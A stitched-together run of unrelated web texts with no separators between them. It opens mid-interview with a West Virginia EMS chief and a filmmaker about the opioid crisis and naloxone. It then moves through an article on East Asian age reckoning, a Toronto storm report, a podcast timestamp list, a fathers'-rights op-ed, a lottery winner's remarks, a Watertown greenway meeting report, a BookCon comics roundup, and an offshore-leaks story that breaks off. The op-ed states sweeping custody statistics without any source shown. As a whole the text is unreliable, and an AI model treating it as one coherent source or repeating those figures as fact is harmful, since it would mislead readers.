The other problem is that the eight detox beds we do have are not medically assisted, and we desperately need them to be. It’s almost inhumane because if they don’t die from detoxing off of opiates, they wish they were dead. So if we had medically assisted detox we’d have a lot more people willing to detox and get into long-term care.
Elaine McMillon Sheldon: And also Naloxone right, Jan?
JR: Oh yes, we use any and all Naloxone donations that we get. That’s where I would hope that Big Pharma would step up to the plate. You have to be alive in order to get into long-term care. Naloxone’s key to keeping people alive.
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TY: So tell me more about Naloxone; what does it do?
JR: Opioids latch onto receptors in the brain that actually suppress the respiratory system. And if you stop breathing, or you’re not breathing sufficiently for five to six minutes, then you’re brain dead. Then the heart stops working. It’s critical to get to people as quickly as possible when they overdose. What Naloxone does is it knocks the opiate off those receptors so they start breathing again. That is key, and sometimes [people] wake up instantaneously.
TY: How expensive is Naloxone?
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JR: You know, my department is quite poor. So for me to carry Narcan [the brand name for Naloxone], I have to accept donations. If we don’t have Narcan, we provide rescue breathing until Cabell County EMS arrives. For a nasal dose, you’re talking about $50 a dose. We had Evzio [a naloxone auto-injector], and those are [as much as $4,500] a box and there are two doses in the box.
The good thing about our area is that not only did our health department start applying grants so first responders can carry Naloxone, but they were also handing out free Naloxone to friends and families of those suffering from substance use disorder. Over 1,100 lives have been saved without intervention from first responders. For parents with an adult child that’s suffering from substance abuse disorder, they at least can sleep a little better at night knowing that they have a reversal drug to give to their own child if they overdose. So I think we need to continue to supply as much Naloxone to the general public as we possibly can.
TY: So Elaine, what prompted you to want to make this film?
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EMS: You can’t live in West Virginia and not know that this problem has been impacting us for many years. Today, because of the headlines, everybody knows what’s going on here. But we’ve been experiencing this crisis since the ’90s, with the pill mill and then with heroin. I grew up in Logan, West Virginia, where right down the street a so-called doctor from another state set up shop in a cinder block building with no furniture, and had a woman just sitting there with a full bag of prescriptions, handing them out, day after day.
So this is part of growing up here. You knew it was happening. Once I got to high school and then college, it started taking classmates from me. We started seeing more people either dying or imprisoned for felonies such as robberies, to get drugs. Some of my friends have had their children taken away from them and put in the foster-care system. I didn’t want to speak about this subject for a long time because the majority of the media focuses on the bleak and dire circumstances of an addict. I don’t have it in me to put that kind of suffering on screen. I wanted to produce something that would hopefully guide us forward.
When I met Jan, Patricia and Necia, I found them very inspiring. They make Huntington a part of the West Virginia that we should be proud of, a leader in the state. The film was a chance to not only highlight the women doing this work but also what the average citizen can do to help save a person’s life or to help make change. I think we need more stories like these today.
TY: There was a scene where Jan says she’s worried about how the younger medics are dealing with the increase in the number of deaths they see every day. I imagine there are moments that must have had a profound impact on you as well.
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EMS: I was really conflicted about that. I talked to Jan quite a bit about all the ethical choices around filming someone hitting rock bottom. That is not something we took lightly, and honestly it was quite difficult for me. And if it wasn’t for us focusing our efforts on the first responders including Jan, I don’t know that I could have done that. But I was filming people who were helping save a life and that gave me the motivation to keep on filming. What I’ve seen is nothing compared to what first responders have to deal with day in and day out.
TY: Can you tell us a bit more about the court-appointed drug rehab program?
JR: Judge Keller, who by trade is a family court judge, is an amazing person. She doesn’t get paid to do drug court; she just does it on her own, pro bono. She really cares about individuals and she’s not willing to give up on people when they screw up. I can’t speak for her, but we have had many conversations on her goals. I look for Judge Keller to do wonderful things as a family-court judge, because if we treat one person, the triggers are still there in the family. But if you treat the whole family, then you really tackle it from a holistic point of view — you’re doing away with the triggers. A lot of people are unsuccessful in long-term treatment because they get better and then they go right back into the same household with the same family members nagging them or not understanding. There’s so much collateral damage and family members need counseling and treatment also, whether they’re using or not. I looked at some models in New England where they do a home health-care model with addiction counseling. They treat people in their homes with their family units and it’s quite successful.
EMS: When we talk about addiction, I think one of things for me is the tremendous brain drain from the state. Young people leave every day and our death rate is higher than our birth rate. But what scares me is that we have such a high population of young people who are addicted. Once they do get clean, it’s really hard for them to return home. I’ve been making a film about four guys going through recovery and the ones that return to the same environment they left didn’t do well.
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TY: Jan, in a very emotional scene, you thanked Mickey, an addict, for teaching you more than he would ever know. What did you mean by that and how has doing this work changed your life?
JR: I was very blessed; I grew up in with a family who loved me and provided for me. I never had to want for anything. We weren’t rich, but we always had food in our bellies and clothing and things like that. I was never beaten or mistreated and my parents always gave back to their community. So starting out as a first responder — and I’m an old medic and I went to nursing school — I was never taught anything about what addiction truly is. And there was a lot of ignorance surrounding substance use disorder.
But Mickey in particular — he’s such a nice guy. My education has come through dealing with the Mickeys of the world and dealing with those with substance use disorder. It’s like there has to be a better way. Why are we treating people poorly? Why are we not embracing them and trying to lift them up? And Mickey, I had him as an overdose case multiple times and he was a very belligerent user. He would get very angry when we would catch him using. And that’s how I knew him. I’d get an overdose call, and when I see Mickey’s address, I would think, “Oh this is gonna be a doozy.”
[Phone rings in the background] We have an overdose right now, just so you know.
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Mickey’s a man who started using at age 8. His mom was getting drunk and high and he had no life. All he knew was getting high until he was 34 years old, when he got clean. He’s super intelligent and funny. He let go of all that anger that he had. They always say that drugs kill your brain cells. Well, I can’t imagine how smart he would be or what he would have been able to accomplish had he not suffered like that as a young boy. He was physically and sexually abused when he was growing up. And it’s just like, “How in the world can he be that resilient?” I can’t imagine that I would have survived that. What an amazing person to go through that. And now he’s healthy, he’s happy and he’s involved in his children’s life, which he had never been before. And Mickey teaches us so much about humanity. I mean, who am I to judge? I didn’t take an oath to judge; I took an oath to save lives. I just saw him the other day, happy as he can be. His wife was just diagnosed with cancer for the second time. They were in recovery together and now they are clean together. It’s just a humbling experience to know people like Mickey.
TY: So I guess the question is, and I think you’ve already answered it in a way, but: How do you stay hopeful?
JB: How dare I say that I’ve had a bad day because I’ve seen three overdoses when somebody lost their child or their sister or their wife or husband. How dare I think I had a bad day, you know what I mean? Now if I have a bad day, somebody else always had a worse day. I know not all first responders look at it that way, but maybe someday they’ll connect the dots and realize, “You know what, I don’t have it so bad,” because I really, truly believe that every one of us is just one bad time of our lives away from addiction.
TY: Elaine, do you have thoughts on that as well? About being hopeful, because despite the bleakness of the topic, you made a very hopeful film.
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EMS: I think one of the reasons I was drawn to Jan, and the other women too, is trying to understand how they stay hopeful. And I think we give up on people too easily. What I love about what they’re doing here in Huntington is the belief in a second chance and a third chance. It’s really remarkable to see Jan even on a bad day find purpose in what she’s doing. It’s a lesson on being a good person and a good people within humanity take care of each another.
East Asian age reckoning originated in China and continues in limited use there and in Japan, but is still common in Korea. People are born at the age of one, i.e. the first year of lifetime using ordinal number (instead of "zero" using cardinal number), and on Chinese New Year or New Year's Day one year is added to their age.[1][2] Since age is incremented at the beginning of the lunar or solar year, rather than on the anniversary of a birthday, people may be one or two years older in Asian reckoning than in the international age system.
Under the traditional reckoning in China, age changes on the lichun. In Japan and South Korea, New Year's Day is used as the date of change of age for the traditional system.
China [ edit ]
In either the traditional or modern age system the word sui (traditional Chinese: 歲; simplified Chinese: 岁; pinyin: suì), meaning "years of age", is used for age counting. When a person's age is given in a publication, it is often specified whether it is his or her:
Traditional age, "virtual age" (traditional Chinese: 虛歲/齡 ; simplified Chinese: 虚岁/龄 ; pinyin: xūsuì/líng ) based on the East Asian reckoning system
age, "virtual age" (traditional Chinese: ; simplified Chinese: ; pinyin: ) based on the East Asian reckoning system Modern age, "round age" (traditional Chinese: 周歲 ; simplified Chinese: 周岁 ; pinyin: zhōusùi )
age, "round age" (traditional Chinese: ; simplified Chinese: ; pinyin: ) "Real age", (traditional Chinese: 實歲 ; simplified Chinese: 实岁 ; pinyin: shísùi ) based on the Gregorian calendar[3]
Of the three, only 周歲/周岁 (Chinese), zhōusuì (pinyin) = "round age" may be used as a count word.
When a child has survived one month of life (29 days if lunar month reckoning) a mun yuet (Chinese: 滿月; pinyin: mǎnyuè) celebration can be observed, in which duck or chicken eggs dyed red are distributed to guests to signify fertility.
Japan [ edit ]
The traditional Japanese system of age reckoning, or kazoedoshi (数え年, lit. "counted years"), which incremented one's age on New Year's Day, was rendered obsolete by law in 1902 when Japan officially adopted the modern age system,[4][5][6] known in Japanese as man nenrei (満年齢). However, the traditional system was still commonly used, so in 1950 another law was established to encourage people to use the modern age system.[7][8][9]
Today the traditional system is used only by the elderly and in rural areas. Elsewhere its use is limited to traditional ceremonies, divinations, and obituaries.[original research?]
Japanese uses the word sai (歳 or 才) as a counter word for both the traditional and modern age system.
Korea [ edit ]
Koreans who use the traditional system refer to their age in units called sal (살), using Korean numerals in ordinal form. Thus, a person is one sal ("han sal", 한살) during the first calendar year of life, and ten sal during the tenth calendar year.[10][11]
The 100th-day anniversary of a baby is called baegil (백일, 百日) which literally means "a hundred days" in Korean, and is given a special celebration, marking the survival of what was once a period of high infant mortality. The first anniversary of birth named dol (돌) is likewise celebrated, and given even greater significance. South Koreans celebrate their birthdays,[12] even though every South Korean gains one 'sal' on New Year's Day.[13] Because the first year comes at birth and the second on the first day of the New Year, children born, for example, on December 29 will reach two years of age on the New Year's Day, when they are only days old. Hence, everyone born on the same calendar year effectively has the same age and can easily be calculated by the formula: Age = (Current Year − Birth Year) + 1
In modern South Korea the traditional system is used alongside the international age system which is referred to as "man-nai" (만나이) in which "man" (만) means "full"[14] or "actual", and "nai" (나이) meaning "age".[13][15] For example, man yeol sal means "full ten years", or "ten years old" in English. The Korean word dol means "years elapsed", identical to the English "years old", but is only used to refer to the first few birthdays. Cheotdol or simply dol refers to the first Western-equivalent birthday, dudol refers to the second, and so on.[16][17]
The traditional system has not been used in modern North Korea since the 1980s.
The Korean Birthday Celebrations by the lunar calendar is called eumnyeok saeng-il (음력 생일, 陰曆生日) and yangnyeok saeng-il (양력 생일, 陽曆生日) is the birthday by Gregorian calendar.[18]
For official government uses, documents, and legal procedures, the international system is used. Regulations regarding age limits on beginning school, as well as the age of consent, are all based on this system (man-nai).[15][19] The age limit for tobacco, alcohol use are after January 1 of the year one's age turns to 19.[20]
Eastern Mongolia [ edit ]
In Eastern Mongolia, age is traditionally determined based on the number of full moons since conception for girls, and the number of new moons since birth for boys.
See also [ edit ]
Environment Canada issued more than 20 severe thunderstorm watches for cities across southern Ontario, including Toronto, Hamilton, Kingston, London, Niagara and Waterloo. The risk of thunderstorms was expected to last late into Saturday night.
The weather system arrived in Toronto in the early afternoon and pummeled the city with sheets of rain, which helped break the city’s dense, humid heat. At least 6,800 Toronto Hydro customers were without power in the city’s west end Saturday afternoon, and there were multiple reports of downed trees.
Residents across southern Ontario reported serious damage to their homes and vehicles amid the intense winds. Environment Canada sent a worker to survey damage and assess whether a tornado touched down in the Oshawa area.
A woman living in Brampton told CTV Toronto that she ran to her basement to seek cover when the powerful winds hit.
“It was a very scary experience,” she said.
A Brampton man said part of his roof was torn up by the winds and that his patio set is now gone.
“Right now my house is completely flooded inside with rain,” he said.
The intense weather activity was captured online by Twitter users:
Fun storm we are having in #Toronto. pic.twitter.com/61AjeMdEhC — Mike Boers (@mikeboers) August 13, 2016
Lots of trees down in Leaside with at least one road closed @CP24 #storm #toronto pic.twitter.com/cxChf0EGoU — Allyson Scott (@snaphappychick) August 13, 2016
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Showcase Episode: 20 Minutes with Jerry Gordon
[caution: mature language – listener discretion is advised]
Check out this and all our episodes on iTunes and on Stitcher Radio!
Episode Breakdown
00:50 – Jerry’s fabulous intro
05:50 – You seem to be drawn to contemporary events as the stage for you stories. What is it about the modern world that makes it so appealing to you??
06:30 – I was raised in a home where conversations you were supposed to avoid were at the forefront
07:00 – Politics has always been interesting to me (apparently so is the end of the world)
07:15 – I was influenced a great deal by Richard Matheson (“I Am Legend”)
07:20 – And we moved around a lot so I was aware of how in some places you’re popular and in others you’re not
07:35 – At one point we moved and there was no one around… that isolation gave me a sense of “you against the world”
08:15 – What are the challenges of using such emotionally charged contemporary elements in your tales?
09:00 – It was a huge challenge with “Breaking the World” to deal with David Koresh and the Branch Davidians
10:05 – In a short story (“Cities of Refuge”), I used that tragedy as a short-hand tool to invoke a kind of emotional devastation
11:00 – A lot of people responded well to the story and wanted to know more about the Branch Davidians and the end of the world part.
11:45 – So I came up with the idea of 3 teenagers in the Davidian compound during the standoff and the end of the world really starts
12:50 – The teens are a great window for the reader because they (like the reader) don’t believe
12:55 – Plus we get to see life inside the compound
14:15 – You have to do a lot of research to make it authentic
14:35 – I approached the book as kind of a cross-over… if you’re an adult and remember those events, you’ll look at it a certain way
14:45 – If not, then it’ll be more about the character struggle
15:20 – I wrote the first 50 pages of the book and threw it away. I was holding strictly to history with too many people and too much going on
15:50 – Ultimately I resolved to step back and build some characters that the readers can grab on to and want to follow through this journey
16:25 – I tried to be close to history but more emotionally close
16:45 – You have to condense people and events to try and give it a more dramatic flavor
17:25 – I felt a responsibility to be emotionally truthful about what happened
17:45 – PROMO: Indie Author Marketing Info – Independent and self-publication author community
18:20 – What do you consider to be your greatest strength as a writer?
19:00 – There are two things… one is tricky to describe, the other and can explain
19:05 – I’ve been told I’m good with structure and design and flow
19:25 – Helping different writers find the story they’re nibbling around the edge of but can’t quite get to
19:45 – I started out very structural. I’m not that structured now but I started out that way.
19:55 – The other thing would be that I’m a massive fan of most forms with writing and entertainment
20:05 – I have the lit degree and heavy geek credentials and I’m as happy with Walden as I am with comic books
20:30 – I love taking aspects of different genres and putting them together
20:50 – I have a SciFi novel that takes classic space opera and brings a lot of the horror genre’s sensibilities to it
21:30 – There are things in horror that you normally can’t do in SciFi
21:35 – Space Opera has archetypal characters… can you take those placeholders and put real complex people in their place
22:15 – Can you take an unlikable character (common in horror) and inject that in the mix
22:25 – SciFi adventure has a “let’s go on an adventure” vibe to it… what happens when no one wants to go on an adventure?
23:15 – Can I take a Shakespearean play and put it in space (the book is called “Severed Dreams”)
23:50 – The primary influence will be Henry V
24:00 – Highly recommend Kenneth Branagh’s DVD
24:30 – What did you discover about your own writing through the editing of an anthology?
25:05 – It’s difficult to get that position right off the bat
25:20 – There are magazines like Clark’s World, Apex, and Shroud that are looking for slush readers
25:35 – For the first Dark Faith anthology we received about 600 submissions
26:00 – For the second Dark Faith anthology we shortened the submission window and received about 700 submissions
26:10 – As a slush reader, you read so many stories that you quickly realize why you move one story forward and not another
26:40 – You get to a point where you can read a page and know whether the story is worth finishing
27:10 – You start deconstructing what works for you, what meshes with what you do
29:15 – There’s also a great online community at Critters.org
29:30 – They’re setup that you writer three critiques a month and you get ten or so for your own work
30:00 – I started doing detailed critiques of the established writers in the community and they (eventually) asked to see my work
31:00 – You learn a lot by having a dialog about what works and what you think about craft
As a result of these behaviors I have been very vocal about my feelings with regards to the rights of children. They are too often overlooked and discounted in the process of separation and divorce. States such as Utah have a very antiquated idea in the opinions of children and the rights of children in divorce. The mother is granted custody 100% of the time in Utah unless otherwise contested by the father. Even when custody is contested by the father, the mother still ends up with custody 85% of the time. These statistics in the Utah courts only fuel the opinions and ideas that people such as my ex have towards their children. The maximum parent time in Utah for non custodial parents allowed, unless otherwise agreed to by both parties is the non custodial parent receives one 4 1/2 hour visit per week and alternating weekends and holidays. This results in a child spending a total of 120 total hours per month, with a minimum of 16 of those hours spent sleeping. This is the equivalent of only 5 days a month.
Many of the problems our youth face are a result of the father not being a significant enough role model in their lives, and fathers not being in the home with their children.
One in 3 children in the U.S. live in homes without a father.
Children in fatherless homes are 4 times more likely to live in poverty.
Youth in fatherless homes have a significantly higher incarceration rate.
Father involvement in school has a direct impact on their grades
We see continual benefits for our children when fathers can play an active role in the lives of their children. Study after study supports this, yet we see the blatant disregard for this within the family court system. Our laws and our societal opinions actually contradict the value of fathers in society. Take for example the maximum visitation for primarily the father in a family friendly state like Utah. The laws protect the mother while forcing distance between the children and their fathers. Mothers can deny visitation to the father in Utah with no real consequences as the courts view them as the preferred parent as is evidence in the custody rulings. When visitation is denied, the father is informed it is a civil matter and must go back into court to correct at their cost. In court, the mother is told not to do it again and the process repeats itself.
On a national scale, abortion is considered the woman’s right to choose. No thought is ever given to the rights of the child or the father in this matter, thus eliminating from society the role of a father and their importance. We have in essence, in our society determined by our laws and our actions that fathers are of minimal importance. We wonder why so many fathers end up moving on with life and leaving behind the children, yet we force a father to fight daily just to maintain the ability to be of significance in the child’s life. Limited time with the children and countless obstacles to make visits possible are at times overwhelming and deeply discouraging.
We have proven that the role of the fathers is of utmost importance to the future and success of our children, yet pass laws that are counter to these studies. After we have by our laws and legislation made the role of fathers insignificant, why would we then question why our children show aggressive tendencies and behavior? Why they struggle in school? why they commit crime at a higher rate? It is crazy to think that we can correct the problems without addressing the deeper causes behind why many fathers are absent. They are absent not by choice, but by our laws that take no interest in preserving and protecting their role as fathers.
Our children deserve BOTH parents equally in their lives. Our future depends on it.
http://www.fatherhood.org/media/consequences-of-father-absence-statistics
Turns out winning isn't all it's cracked up to be, especially when your friends start to treat you like their personal ATM.
Here's what he had to say about the experience:
What he kept after taxes:
"I took the lump sum, and after taxes the amount I got was about $400,000. People don't realize your win counts as income and you're in a much higher bracket. So when April rolls around, you still owe another $80-$100,000."
On losing friends who asked for money:
"Sometimes people are a bad investment. They ask for money and treat you like an ATM."
Yes, he still has a day job:
"It makes it easier to come to work knowing I have a financial cushion."
How he celebrated his win:
"Debt was the first thing to go, then I added a few things to our house ... It is hard not to go out and buy a luxury car ... but my overall focus is on having a comfortable life."
Why he chose the lump sum:
"I believe the annuity would've been about $35,000 a year for 20 years after taxes. I decided to go with the lump sum because I don't want to deal with the extra taxes for the next two decades. And who knows if I will live that long."
He didn't play the small tickets:
At a meeting held Thursday night in Cambridge’s Russell Youth Community Center, DCR staff showed off an updated design of the section of path, which runs from Arlington Street near Nichols Avenue and Crawford Street to Fresh Pond in Cambridge.
Several additions requested by the public at previous meetings, most notably a new entranceway at Holworthy Street in Cambridge were also unveiled. The new entrance joins previously-designed entranceways at Arlington Street and Cottage Street in Watertown, and Holworthy Place and the Water Purification Facility in Cambridge.
Dan Driscoll, director of Recreation Facilities Planning for the DCR, called it the “second, and probably final comprehensive public meeting” for the long-anticipated Greenway. He explained that phase two would connect the first part of the Watertown Greenway, built in 2010 and 2011, to the Linear Park Extension, the Linear Park Pathway, The Minuteman Bikeway, The Alewife Brook Greenway, and the Mystic Greenway, forming an important off-road system for recreational and commuter use.
“It’s a pretty incredible network we’re pulling together here,” he said.
Tracie A. Lenhardt, project manager at the design firm VHB, said that the path would be 12 feet wide with two-foot grass shoulders on either side and include grass drainage swales. She also said they are planning on working with the fire department on making a raised intersection at the entrance on Cottage Street, and discussing adding an entrance at Tufts Health Plan in Watertown. At the 25 percent design meeting, many residents requested an entranceway at Holworthy Street, which had been added to the design.
“We heard from you all how important this connection is,” Lenhardt said. “We are still working out the details on it.”
Rick Williams from landscape architect company CRJA, discussed how they would reestablish native planting to enhance the health and beauty of the natural setting and decrease erosion. He also mentioned art additions, such as rock engravings.
Before allowing public comment, Driscoll discussed the costs of the project. The design, which he estimated would be finished by fall 2016 instead of a previously estimated summer 2016, was paid for by $90,000 of partnership contributions from athenahealth, Boylston Properties, the Watertown Community Foundation, and the Solomon Foundation. The DCR matched the $90,000. The construction, which would begin in 2017 pending funding availability, had a preliminary cost of $2,100,000. He hoped to finish construction by November of 2017, with a subsequent planting season in spring 2018.
The issue that raised the most concerns was that of lighting. The only part of the path that would be lit would be the tunnel under Mt. Auburn Street. Many residents were concerned that the lack of light would limit the accessibility of the path.
“It is a DCR policy that we don’t light the paths—though there are a few exceptions for security reasons,” Driscoll said. “We have 165 miles of corridors. We don’t want to go down a path of lighting them all. There are also ecological concerns. We’ve talked with [Mass] Audubon, and they said that lighting on the corridors has a negative impact on bird habitat.”
Driscoll said that the paths technically close at dusk, though they do allow people to be moving through the park after dusk. He said that he often rides his bike at night, and the sections that are lit along the Charles River path for security create strange shadows and feel even less safe than the unlit sections. Besides, he added, they just didn’t have the funding.
Driscoll had similar answers to concerns about snow removal.
“I am committed to six feet of plowing,” Driscoll said. “Not the full width of the path. We are not making an effort to say it is safe for winter biking. It can’t be, with the black ice and all.”
Salting, he said, would taint the water supply. Sanding would damage the pavement. He said that he had seen damage on paths that attempted to plow the whole width this year, even after such a mild winter.
State Representative John Hecht, who represents Watertown and North Cambridge, closed off the meeting by saying that he recognized the importance of finishing this “missing link.” It would, he said, help cut down on the state’s greenhouse gas emissions, 40 percent of which come from transportation.
“When we get the design finalized, we need to rally the grassroots efforts” he said. “We have not officially identified a funding source for the money. But this project is 25 years in the making, and it’s exciting to see it so close to completion.”
To see the DCR’s presentation, visit http://www.mass.gov/eea/agencies/dcr/public-outreach/public-meetings/
The public can submit comments until June 20 by visiting here: http://www.mass.gov/eea/agencies/dcr/public-outreach/submit-public-comments/
But there were big titles showcased in many places at the show, including Raina Telegemeier’s new autobiographical work Sisters, coming in August from Scholastic/Graphix with a 200,000 copy first printing. In August, Jules Feiffer’s retro-noir graphic novel Kill My Mother will be published by W.W. Norton/Liveright, and Farel Dalrymple’s wildly imaginative graphic novel The Wrenchies will be released by First Second in September.
In addition there were many comics publishers—among them IDW and Image Comics—presenting their books and taking meetings at the Diamond Comics Booth. The legendary Stan Lee appeared at the BookCon event to showoff Zodiac, a new illustrated children’s novel he brainstormed, written by Stuart Moore and drawn by Andie Tong, to be published by Disney Publishing in January 2015. Other comics publishers sighted at the show include Fantagraphics Books, Amazon’s Jet City Comics, Titan Books, Boom/Archaia, NBM/Papercutz, Nobrow and Abrams ComicArts in addition to Viz Media, Fulcrum Publishing, Arsenal Pulp, Pantheon, Yen Press and HarperCollins’ Ecco imprint, which were all showcasing significant new comics releases or walking the floor and taking meetings.
BookCon, Diamond Comics and Amazon
“We’re overrun by the fans. We totally underestimated the size of the crowds,” said Kuo-you Liang, DBD v-p of sales and marketing, as crowds of teenage girls swarmed through the Diamond Comics booth area Saturday at BookCon. BEA has struggled over the issue of admitting consumers and even comics publishers, used to the demands of fans, were surprised by the size and enthusiasm of the BookCon crowds. “We go to 52 or 53 shows a year, so we’re happy. We live in a consumer world,” he said, noting that his publishers had “sold out of everything” by the early afternoon. Liang was also very happy about Diamond’s new partnership with Trajectory Inc., a digital vendor that will supply digital conversion and global distribution for Diamond publishers. “It's great news. Our customers are looking for digital comics," Liang said.
Kids comics, Liang said, continued to be one of Diamond’s “biggest growth areas,” noting titles from IDW, Boom, Papercutz and Image’s Shadowline kids imprint. He singled out Maddy Kettle: The Adventure of the Thimblewitch, a children’s fantasy graphic novel coming from Top Shelf in August and described it as “the next Coraline." As for Image's Saga and Sex Criminals series, they “just keep getting bigger.” On the international front, Liang pointed to growth of Diamond’s business in Puerto Rico, Indonesia, China, Japan, Brazil, and even Nigeria, citing the launch of the Lagos Comic Con, coming in September. Diamond will also supply American comics to the comics zone at the Shanghai Kids Book Fair in November, a deal that grew out of meetings at BEA. “Sales have been up every year since the lowest part of the recession” Liang added, “We’re seeing more new customers and our existing customers want to expand.”
While parent company Amazon was getting scrutinized for its battle with Hachette nearly everywhere, its comics imprint Jet City Comics, was announcing its upcoming plans. Initial releases based on George R.R. Martin's books have done well, and the summer’s big release is a graphic adaptation of Hugh Howey’s Wool by Jimmy Palmiotti and Justin Gray and drawn by Jimmy Broxton. The book will be digitally serialized in six issues via Kindle Serials, as well as on digital comics marketplace Comixology, Amazon's newest acquisition. The collected print edition will be available in August. SF author Neal Stephenson will also pen his first original graphic work, a steampunk samurai tale called Cimaronin for later in the year. Jet City aims to eventually publish 24-30 titles a year.
The Kindle Worlds program that offers approved fan fiction published for certain properties—among them Vampire Diaries, Gossip Girl and Veronica Mars—has extended the license to comics with a program for Valiant titles. And according to Jet City Comics publicist Justin Golenbock, more comics licenses for Kindle Worlds are possible.
Indie and Euro-Comics
Not surprisingly, Fantagraphics Books, which attends BEA every other year, had a bonanza of impressive titles on display, most prominently The Complete Zap Comix, a two-volume deluxe hardcover boxed set collecting every issue of the revolutionary underground comix series featuring the work of R. Crumb, Spain Rodriquez, Robert Williams and the rest of the Zap Comix crew. Associate publisher Eric Reynolds also singled out new works by Lucy Knisley such as An Age of License, a travelogue that Reynolds said will “likely be our bestselling graphic novel of the last few years.” He also cited Eleanor Davis’s forthcoming collection of short stories, How to Be Happy, coming this summer, and Michael Jordan: Bull on Parade, a new biography of Chicago basketball Hall of Famer Michael Jordan by Wilfred Santiago (21: The Story of Roberto Clemente), coming in October.
Image Comics, located at the Diamond booth, continues to deal with the success of The Walking Dead, but has expanded it to titles like Saga, Sex Criminals, Black Science, Pretty Deadly, and others. A big push for them this fall will be the relaunch of HowToons by Nick Dragotta, a collected edition of an all-ages series that uses comics to show kids how to build various ecologically friendly devices. It’s part of a push by Image to get more involved in the kids and YA spaces, says Image director of business development Ron Richards. “We’ve had titles like G-Man and Super Dinosaur that are popular but we’re looking to push this more,” he says.
Over at the Boom/Archaia booth, v-p of publishing and marketing Filip Sablik and marketing manager Mel Caylo showed off a new hardcover edition of actress Alyssa Milano’s cyber thriller Hacktivist coming in July, Six-Gun Gorilla, a sci-fi/Western mashup starring a genetically enhanced gorilla gunslinger by Simon Spurrier and Jeff Stokely, and Peanuts: The Beagle has landed Charlie Brown!, the third volume of Boom’s kids line of original Peanuts graphic novels. And the new Peanuts movie comes in 2015. Consortium, the small press distributor, featured a bunch of publishers with significant comics properties including NoBrow (with impressive fall titles by Jamie Coe, Pierre Christin/Olivier Balez and Dustin Harbin), Arsenal Pulp (Adrian and the Tree of Secrets by Hubert and Marie Caillou, a sweet story of two young boys falling in love), and Fulcrum Publishing, with a series of graphic nonfiction works focused on multicultural history including Joel Gill’s Bass Reeves: Tales of the Talented Tenth, from a forthcoming series of clever black history comics.
One growing trend among US publishers has been the success of French comics. NBM has long occupied this space, and this fall they have several books in the “nouveau” style, including Girl in Dior by Annie Goetzinger, that follows the stylish adventures of a fictional model in 1947; Ettiene Davodeau’s Jude Nude, a follow-up to the well received The Initiates, about an unemployed woman who goes to the shore and finds unexpected experiences; and Beauty, by Hubert and Kerascoet (Miss Don’t Touch Me) a fable about a homely woman who becomes beautiful and learns it isn’t all it's cracked up to be.
Viz and the Manga Market
While Viz Media was not an exhibitor, the manga publisher was represented by its distributor Simon & Schuster and PW spoke with Kevin Hamric, Viz Media’s senior director sales and marketing, at the S&S meeting rooms. According to Hamric, the manga market continues rebound and grow. “We had a strong year, all divisions are up and that includes print and e-books, which are not hurting print sales, and in fact are helping print.”
The manga and anime distributor will publish about 300 titles in 2014 in addition to about 30 titles (including non-manga originals and licenses) coming from Perfect Square, Viz’s children’s imprint. The house is also launching 14 new manga series this year (up from its usual 5 or 6). Viz began selling its English language print manga in India this year (distribution is by S&S U.K.) and the fans “are eating them up,” Hamric said. Viz launched the program with 25 series from Shueisha and expect to increase that number after the program is reviewed in June.
And the house is preparing for a summer season of promotional and release events that include Pop Culture Month in July, as well as the acquisition and re-release of all 200 episodes of the international anime favorite Sailor Moon franchise (including three feature films) in digital for the first time with new dubs, subtitles and a new cast of voice actors. Viz/Perfect Square is showing off Hello Kitty, Hello 40: A 40th Anniversary Tribute, a 40th anniversary hardcover salute to the internationally beloved merchandising phenomenon. The book will be released in October, supported by the first annual Hello Kitty Reading Day on October 25 (in conjunction with Abrams, Penguin, Quirk, SourceBooks, Priddy Books) with activities planned at more than 250 retailers and libraries.
Lawyer Tony Merchant, Canada’s “class action king,” sought secrecy for Cook Islands trust.
A prominent Canadian lawyer, husband to a Liberal senator, moved CA$1.7 million (US$1.1 million) to secretive financial havens while he was locked in battle with the Canada Revenue Agency over his taxes, according to documents in a massive leak of offshore financial data.
Tony Merchant of Saskatchewan, dubbed Canada’s class-action king because of the large settlements he has won for his clients, transferred the money to a tax haven in the South Pacific and then onward to an account in the Caribbean, according to the files. His wife, Canadian Senator Pana Merchant, and their three sons were named in the documents as beneficiaries of the funds.
The transactions are detailed in a leak of offshore financial information obtained by the Washington, D.C.-based International Consortium of Investigative Journalists. The data covered more than 120,000 offshore companies and private trusts in the Cook Islands and other offshore havens. The Merchants are among the more than 400 Canadians whose names are included in the secret records.
Tony Merchant didn’t reply to several requests from CBC News to discuss the matter.
The files show he set up a legal entity known as a trust in 1998 in the Cook Islands, a self-governing New Zealand territory in the South Pacific that’s a popular place to move money because of its strict financial-secrecy laws. He put at least CA$1.7 million (US$1.1 million) into the trust, records show.
Merchant then had the trust open an account in Bermuda at a brokerage called Lines Overseas Management and used it to buy mutual funds, including some in Luxembourg.
All along, the documents show, the high-profile lawyer sought to keep the investments secret.
“Keep correspondence to a minimum,” reads a note placed on his Cook Islands account that warned only to communicate with Merchant by airmail. “Do not fax to client. He will have a st[r]oke.”
Another note discusses Merchant’s reaction when told his holdings in Luxembourg would require him to either cough up his identity to officials there, or have all transactions on the mutual funds frozen.
“Received a letter from Mr. Merchant requesting that we do not disclose now or in the future any information to the authorities in Luxembourg, or anywhere,” the note on the account reads. “And the [mutual funds] will just remain on a freeze for the foreseeable future.”
Mailed thousands in cash
Even the modest annual fees for his offshore accounts would have been impossible to trace back to Merchant: He often paid those expenses by sending cash in the mail from Canada to the South Pacific, prompting a caution from the account administrators.
“We strongly advise, however, that all future payments be made either by cheque or by telegraphic transfer, as we cannot vouch for the security of cash sent through the post,” a lawyer wrote to him in 2002.
Merchant didn’t heed the warning, though. Documents show he mailed cash and traveler’s checks in ensuing years to pay the roughly $2,000 in annual charges.
“The less innocent explanation is that this particular individual did not want to have any record maintained at all of this payment,” said professor and lawyer Art Cockfield, an expert on international tax at Queen’s University in Ontario, who reviewed the documents at CBC’s request.
“There may be an innocent explanation for all this. But boy, in my mind that does raise some serious red flags.”
“If you want to move money around the world without onshore regulators or officials understanding that you’re behind the wire transfer, you set up a bank, you set up an account at Lines Overseas Management — they use very strict standards of confidentiality,” said lawyer Martin Kenney, a specialist in tracing international assets who runs a firm in another offshore haven, the British Virgin Islands.
“This would be an excellent way to do it without Revenue Canada, or anyone in Canada, being able to discern who is this unidentified beneficiary,” added Kenney, who was shown the files but wasn’t given Merchant’s identity.
Tax battles
